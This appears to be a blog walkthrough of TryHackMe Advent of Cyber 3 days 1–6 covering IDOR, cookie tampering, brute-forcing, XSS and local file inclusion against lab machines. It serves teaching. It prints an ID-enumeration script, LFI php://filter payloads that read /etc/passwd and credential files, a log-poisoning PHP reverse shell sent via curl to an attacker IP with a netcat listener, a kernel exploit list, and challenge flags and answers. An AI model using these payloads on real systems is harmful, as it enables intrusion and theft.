Before reading this article, I strongly suggest you take your time and try the challenges out yourself, it will definitely worth your time!
Since Try Hack Me has done an awesome job in explaining things plain and simple, I won’t repeat again their tutorial. Instead, I’ll try to summarize it in the most concise (but understandable) way I can.
[Day 1] Web Exploitation
: Save The Gifts
So, today’s learning objective seems to be IDOR vulnerability, which stands for Insecure Direct Object Reference
.
To keep it short, IDOR vulnerabilities occur when a developer doesn’t validate requesting data, For example:
See that id=23
at the end? That is your user ID. If you change that to id=0
, id=-1
,id=null
or something, and you suddenly get in another user’s account, that is IDOR vulnerability.
Beside the GET request example above, we also have IDOR in POST request:
<form method="POST" action="/update-password">
<input type="hidden" name="user_id" value="123">
<div>New Password:</div>
<div><input type="password" name="new_password"></div>
<div><input type="submit" value="Change Password">
</form>
… or in cookies:
GET /user-information HTTP/1.1
Host: website.thm
Cookie: user_id=9
User-Agent: Mozilla/5.0 (Ubuntu;Linux) Firefox/94.0
Hello Jon!
And in reality, if you check public Hackerone bug submissions, you will find a great portion of IDOR vulnerabilities there.
Now with all that knowledge, let’s dive into our challenge.
Upon entering that website, we’re welcomed with a homepage like this.
Click on anything clickable, we found out that nothing is clickable on those pages. That left us with only the page Your Activity
.
Without any obstacle, we can instantly find a textbook vulnerability. It lies here:
Remember, in programming languages, it usually starts from 0 rather than 1. But if we try ?user_id=0
, it will scream “lol no user like that bro”.
But if we change that to ?user_id=1
:
Guess we’re in. :D
In the wild, the number of possibilities to test is simply too massive to manually try it all. So the best way is to use on-the-spot scripts like this:
#!/usr/bin/env python3
import requests
address: str = "https://inventory-management.thm/activity"
startId: int = 0
testRange: int = 20
for id in range(startId, startId + testRange):
response = requests.get(address, params={"user_id": id})
if response.status_code == 200:
print(f"Found something at {address}?user_id={id}")
Just iteratively try that id out, we also find McStocker’s account at https://inventory-management.thm/activity?user_id=3
.
And another at ?user_id=9
:
And when we click on all those revert
(as our instinct tell us to do so), we got the final flag.
To conclude, our flags today are:
After finding Santa's account, what is their position in the company?
The Boss!
After finding McStocker's account, what is their position in the company?
Build Manager
After finding the account responsible for tampering, what is their position in the company?
Mischief Manager
What is the received flag when McSkidy fixes the Inventory Management System?
THM{AOC_IDOR_2B34BHI3}
[Day 2] Web Exploitation
: Elf HR Problems
So in short, today’s learning objective is fundamental knowledge about the WWW. You can skip all the text below and jump right to answers if you’ve already had experience working with the web.
Since this is actually a vast topic, I’ll try keeping things simple by omitting the details. If you want to learn more in-depth about web technologies (which you should, because it’s like Hello World for pentesters and developers alike), I suggest the great Mozilla Docs, where they’ve explained everything with great details.
First things first, HTTP.
You are reading this article, on the Internet, from your browser, aren’t you?
Then I hope you’re using a computer. Press Ctr+U, or right click and View Page Source
, you should see something like this:
As you can see, this is the true nature of the Web - Hypertext. A bunch of codes define what a page contain, how does it look, what will it do, and so on.
When people talk about HTTP, they’re talking about the way in which such Hypertext are transferred among computers - sending request, and waiting to be responded (imagine you messaging with someone). An example request:
GET / HTTP/1.1
Host: tryhackme.com
User-Agent: Mozilla/5.0 Firefox/87.0
Referer: https://tryhackme.com/
And an example respond:
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Wednesday, 24 Nov 2021 13:34:03 GMT
Content-Type: text/html
Content-Length: 98
<html>
<head>
<title>Advent of Cyber</title>
</head>
<body>
Welcome To Advent of Cyber!
</body>
</html>
As you can see, Hypertext is also in the respond. The browser render that, then showing you the page - all happened in the matter of miliseconds.
HTTPS is HTTP, but more secure, since it’s encrypted.
On the other hand, cookie is a something sent back and forth among computers, to identify who you are.
On your browser, press F12
to open Dev Tools, find Cookies
tab, somewhere in Storage
or Application
. The yummy cookies should be there. And since cookies are stored locally on your computer, it can be changed however we want.
Equipped with all that knowledge, here comes the challenge!
Get into the challenge page, we see an ordinary login form.
Let’s register an account!
… okay? (’-')
Checking DevTool, we can find a cookie like this
user-auth:"7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a22746573746572227d"
It’s not very readable. So let’s try to decode it with CyberChef.
(If you find the image too small to read, why don’t open up another tab and decode it? :D)
We can see that the cookie is stored in JSON
format, encoded in hexadecimal.
Changing out username to admin
(as the task told us to), then copy-pasting it to DevTool…
This is certified “I’m in” moment. :D
From there, we can get all needed information to answer the questions:
What is the name of the new cookie that was created for your account?
user-auth
What encoding type was used for the cookie value?
hexadecimal
What object format is the data of the cookie stored in?
json
What is the value of the administrator cookie? (username = admin)
7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a2261646d696e227d
What team environment is not responding?
HR
What team environment has a network warning?
Application
[Day 3] Web Exploitation
: Christmas Blackout
Okay, long story short, content discovery and authentication bypass. Absolutely useful in real life applications.
There’s not much to say about this, since everything we’re gonna do is bruteforcing the credentials. One reminder, thou, is that in real life bruteforcing is nowhere near as effective as it’s in ctfs, and let’s be grateful for that. :D
And just like that, we’ve got the location of admin panel.
From here, we usually use specialised tools like Hydra. However we’ve already been given a wordlist with only 3 entries in this case, which’s saved us from the hassle of writing lengthy commands. :D
Manually test the entries, we got it at administrator:administrator
.
Another way to do that is taking a look at the JS file.
const loginForm = document.getElementById("login-form");
const loginButton = document.getElementById("login-form-submit");
const loginErrorMsg = document.getElementById("login-error-msg");
loginButton.addEventListener("click", (e) => {
e.preventDefault();
const username = loginForm.username.value;
const password = loginForm.password.value;
if (username === "administrator" && password === "administrator") {
alert("You have successfully logged in.");
window.open('dc7161be3dbf2250c8954e5.html');
} else {
loginErrorMsg.style.opacity = 1;
}
})
We can clearly see username and password written in plaintext, and even the “secret” location it’ll redirect us to. Again, in real life, no sane developer do this. However, let’s just be chill in this ctf-only “I’m in” moment and move on! xD
Having accessed to the admin panel, now we’ve got all flags needed for the questions!
Using a common wordlist for discovering content, enumerate http://10.10.235.89 to find the location of the administrator dashboard. What is the name of the folder?
admin
In your web browser, try some default credentials on the newly discovered login form for the "administrator" user. What is the password?
administrator
Access the admin panel. What is the value of the flag?
THM{ADM1N_AC3SS}
[Day 4] Web Exploitation
: Santa’s running behind
Today’s learning material is relatively short and concise. So in case you haven’t, please go to Day 4 tutorial here.
One small reminder, thou: Burpsuite is (in)famous for its avaricious RAM usage, so if you run it in a virtual machine, watch out for sudden halts.
Another thing: Burp Suite’s built in browser’s become fantastic nowadays - a separate Firefox with FoxyProxy is no longer needed.
One final extra note: If you, for some reason, don’t want or can’t afford the Burp Suite pro version, or just genuinely support the idea of open-source softwares, then try to take a look at ZAP. On my own, I find Burp Suite’s UI more intuitive, but ZAP’s much more powerful once you get the hang of it.
With all that being said, let’s jump in. :D
We’re greeted with a basic login form like this. Neither the source code or default credentials revealed anything special.
Based on task’s requirements, seems like all we’ve to do’s to bruteforce it. Let me show you the cool way to do it. :D
… or not… Weird. :L
Let’s burn our RAM and open up Burp Suite, then.
Here’s the POST request we intercepted:
POST / HTTP/1.1
Host: 10.10.154.103
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.154.103
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.154.103/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=c3k9aqaa365sapdv67vh3p3bte
Connection: close
username=santa&password=password&submit=Login
Let’s Ctrl+I to send it to Intruder
.
The first Target
tab, default options are fine. On the second Positions
tab, make sure that you only insert payloads in password field:
POST / HTTP/1.1
Host: 10.10.154.103
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.154.103
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.154.103/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=c3k9aqaa365sapdv67vh3p3bte
Connection: close
username=santa&password=§password§&submit=Login
Now continues to Payload
tab. Since we’ve already had a nice small password list, let’s copy it and Paste
.
It all looks good now. Let’s press Start Attack
on upper right side. Here’s the result:
Based on the length, we can easily spot the unique one.
Having had all that information, let’s login to santa’s account!
And here comes the last flag!
So our flags today are:
What valid password can you use to access the "santa" account?
cookie
What is the flag in Santa's itinerary?
THM{SANTA_DELIVERS}
[Day 5] Web Exploitation
: Pesky Elf Forum
Our learning objective today is, yeah, Cross-Site Scripting aka XSS vulnerability.
As XSS itself is an endless topic, I’ll leave the explaining part to Portswigger’s post. It has intelligible visualization of XSS concepts, so you should definitely check it out.
So, in short, XSS is injecting Javascript code to do things attackers want. With that being said, let’s jump in.
…
Actually, hasn’t the challenge description itself done all the hassle for us? Isn’t it revealing too much? <( ̄﹌ ̄)>
Basically this’s what’s going to happen if you change your password.
In real life, whoever implemented this password changing function must be reprimanded ASAP. But as it’s a ctf challenge, let’s now gratefully exploit it. ( ̄▽ ̄)
Strictly follow the challenge’s instruction, let’s comment this on all pages.
Shortly after, we got in Grinch
user’s account.
Here’s the answer for today’s challenge.
[Day 6] Web Exploitation
: Patch Management Is Hard
Today’s learning objective is LFI - local file inclusion.
Normally if you keep default Apache/Nginx configuration, LFI shouldn’t happen, but as an attacker it’s certainly worth a try.
To keep it short, local file inclusion is - as you may guess - a vulnerability that let attackers access local files on the machine.
Sometimes, LFI leads to RCE, mostly via log files (log poinsoning) or PHP session - whatever means that you can store your arbitrary code, in order to execute it from PHP filter later on.
Okay, enough theory, let’s dive in. :D
Upon visiting the page, we see this:
And as you can see, the entry point is literally in the request URL:
Before we get started, let’s test if this server is vulnerable to LFI. :D
http://10.10.132.156/index.php?err=/etc/passwd
It’s. So it’s not hard to read the first flag:
http://10.10.16.195/index.php?err=/etc/flag
But if we try to use the very same method to access index.php
file, we’ll get an error.
http://10.10.16.195/index.php?err=index.php
Since the index.php
file also include header.php
, and they both declare getuseragent()
function, we
cannot access it directly. Therefore, let’s access it through PHP filter:
http://10.10.16.195/index.php?err=php://filter/resource=index.php
Seems no better. Why? Because the functions are still there. So let’s try to encode it in base64.
http://10.10.16.195/index.php?err=php://filter/convert.base64-encode/resource=index.php
The server returned a very long base64 string - much longer than a simple error should be, which meant a different result.
Here’s that string, base64 decoded:
┌──(kali㉿kali)-[~/ctf/thm/adventOfCyber3/day6]
└─$ echo "PD9waHAgc2Vzc2lvbl9zdGFydCgpOwokZmxhZyA9ICJUSE17NzkxZDQzZDQ2MDE4YTBkODkzNjFkYmY2MGQ1ZDllYjh9IjsKaW5jbHVkZSgiLi9pbmNsdWRlcy9jcmVkcy5waHAiKTsKaWYoJF9TRVNTSU9OWyd1c2VybmFtZSddID09PSAkVVNFUil7ICAgICAgICAgICAgICAgICAgICAgICAgCgloZWFkZXIoICdMb2NhdGlvbjogbWFuYWdlLnBocCcgKTsKCWRpZSgpOwp9IGVsc2UgewoJJGxhYk51bSA9ICIiOwogIHJlcXVpcmUgIi4vaW5jbHVkZXMvaGVhZGVyLnBocCI7Cj8+CjxkaXYgY2xhc3M9InJvdyI+CiAgPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4KICA8L2Rpdj4KICA8ZGl2IGNsYXNzPSJjb2wtbGctOCBjb2wtb2Zmc2V0LTEiPgogICAgICA8P3BocCBpZiAoaXNzZXQoJGVycm9yKSkgeyA/PgogICAgICAgICAgPHNwYW4gY2xhc3M9InRleHQgdGV4dC1kYW5nZXIiPjxiPjw/cGhwIGVjaG8gJGVycm9yOyA/PjwvYj48L3NwYW4+CiAgICAgIDw/cGhwIH0KCj8+CiA8cD5XZWxjb21lIDw/cGhwIGVjaG8gZ2V0VXNlck5hbWUoKTsgPz48L3A+Cgk8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5UaGlzIHNlcnZlciBoYXMgc2Vuc2l0aXZlIGluZm9ybWF0aW9uLiBOb3RlIEFsbCBhY3Rpb25zIHRvIHRoaXMgc2VydmVyIGFyZSBsb2dnZWQgaW4hPC9kaXY+IAoJPC9kaXY+Cjw/cGhwIGlmKCRlcnJJbmNsdWRlKXsgaW5jbHVkZSgkX0dFVFsnZXJyJ10pO30gPz4KPC9kaXY+Cgo8P3BocAp9Cj8+" | base64 -d
<?php session_start();
$flag = "THM{791d43d46018a0d89361dbf60d5d9eb8}";
include("./includes/creds.php");
if($_SESSION['username'] === $USER){
header( 'Location: manage.php' );
die();
} else {
$labNum = "";
require "./includes/header.php";
?>
<div class="row">
<div class="col-lg-12">
</div>
<div class="col-lg-8 col-offset-1">
<?php if (isset($error)) { ?>
<span class="text text-danger"><b><?php echo $error; ?></b></span>
<?php }
?>
<p>Welcome <?php echo getUserName(); ?></p>
<div class="alert alert-danger" role="alert">This server has sensitive information. Note All actions to this server are logged in!</div>
</div>
<?php if($errInclude){ include($_GET['err']);} ?>
</div>
<?php
}
?>
And here comes our second flag. :D
Looking at the source code, we can find another file seems potentially useful.
include("./includes/creds.php");
So let’s go for it!
http://10.10.16.195/index.php?err=php://filter/convert.base64-encode/resource=./includes/creds.php
And quite easily, we’d got the credentials.
┌──(kali㉿kali)-[~/ctf/thm/adventOfCyber3/day6]
└─$ echo "PD9waHAgCiRVU0VSID0gIk1jU2tpZHkiOwokUEFTUyA9ICJBMEMzMTVBdzNzMG0iOwo/" | base64 -d
<?php
$USER = "McSkidy";
$PASS = "A0C315Aw3s0m";
?
What’s left - logging in using that account. Here’s the password recovery page:
For the next question, the task ask for the hostname of the webserver. Let me show you the easy way.
http://10.10.16.195/index.php?err=/etc/hosts
Simple as that, and the THM challenge actually ended here. From this point onward is just bonus steps for learning purposes. :D
So, there’s a log.php
site that let you access request logs. Following the challenge’s tutorial, I sent a
request like this:
$ curl -A "lmao I'm here" http://10.10.16.195
Checking the logs, we can clearly see where our payload went.
Using the exact method, this time I sent a real PHP payload.
curl -A "<?php phpinfo();?>" http://10.10.16.195
However, as you may expected, the payload’s not executed just by visiting the page. So I visit it again, this time via LFI.
http://10.10.16.195/index.php?err=php://filter/resource=./includes/logs/app_access.log
As you may see, the server gracefully executed our payload. Without a second thought, I went straight to reverse shell cheat sheet, grab a PHP payload and sent it. Basically it looked like this.
<?php $sock=fsockopen($MY-IP,$PORT);$proc=proc_open(/bin/sh -i, array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
Send it.
curl --user-agent '<?php $sock=fsockopen("$MY-IP",9999);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock,
2=>$sock),$pipes); ?>' http://$SERVER-IP
Open a port to receive it.
nc -lvnp 9999
Access the log via LFI again to execute the payload.
┌──(kali㉿kali)-[~/ctf/thm/adventOfCyber3/day6]
└─$ nc -lvnp 9999 1 ⨯
listening on [any] 9999 ...
connect to [10.4.35.200] from (UNKNOWN) [10.10.161.15] 34994
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
That’s it. We’re in.
$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.5 LTS"
NAME="Ubuntu"
VERSION="12.04.5 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.5 LTS)"
VERSION_ID="12.04"
We can see this box’s using a quite outdated version of Ubuntu. A quick searchsploit
return a lot of useful
resources:
$ searchsploit ubuntu 12.04 130 ⨯
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Linux Kernel (Ubuntu 11.10/12.04) - binfmt_script Stack Data Disclosure | linux/dos/41767.txt
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) | linux/local/37293.txt
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3) | linux_x86-64/local/33589.c
Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation | linux_x86-64/local/34134.c
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation | linux_x86-64/local/44299.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation | linux/local/36820.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
However, since the box lacked basic utilities:
$ gcc
/bin/sh: 19: gcc: not found
$ curl
/bin/sh: 20: curl: not found
$ wget
/bin/sh: 21: wget: not found
I attempted no further. But you can try to privilege escalate on this box by yourself, for the sake of learning. :D
You can also get RCE with PHP session. Here’s the end result:
But as this task’s got quite lengthy, I’ll leave that part for you, then. :D
Here’s the answers for today!
Deploy the attached VM and look around. What is the entry point for our web application?
err
Use the entry point to perform LFI to read the /etc/flag file. What is the flag?
THM{d29e08941cf7fe41df55f1a7da6c4c06}
Use the PHP filter technique to read the source code of the index.php. What is the $flag variable's value?
THM{791d43d46018a0d89361dbf60d5d9eb8}
Now that you read the index.php, there is a login credential PHP file's path. Use the PHP filter technique to read its content. What are the username and password?
McSkidy:A0C315Aw3s0m
Use the credentials to login into the web application. Help McSkidy to recover the server's password. What is the password of the flag.thm.aoc server?
THM{552f313b52e3c3dbf5257d8c6db7f6f1}
The web application logs all users' requests, and only authorized users can read the log file. Use the LFI to gain RCE via the log file page. What is the hostname of the webserver? The log file location is at ./includes/logs/app_access.log
lfi-aoc-awesome-59aedca683fff9261263bb084880c965